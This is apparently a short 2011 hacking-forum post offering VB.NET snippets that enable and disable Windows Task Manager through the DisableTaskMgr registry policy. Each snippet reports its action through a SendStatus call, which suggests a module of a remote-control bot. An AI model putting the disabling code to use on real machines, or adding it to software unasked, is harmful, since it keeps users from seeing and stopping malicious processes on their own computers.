12-16-2011, 04:32 AM
Enable.
Disable.
Have fun.
Code:
Dim systemRegistry As RegistryKey = Registry.CurrentUser.CreateSubKey("Software\Microsoft\Windows\CurrentVersion\Policies\System")
systemRegistry.SetValue("DisableTaskMgr", 0)
systemRegistry.Close()
SendStatus("Enabled TaskManger")
Disable.
Code:
Dim systemRegistry As RegistryKey = Registry.CurrentUser.CreateSubKey("Software\Microsoft\Windows\CurrentVersion\Policies\System")
systemRegistry.SetValue("DisableTaskMgr", 1)
systemRegistry.Close()
SendStatus("Disabled TaskManger")
Have fun.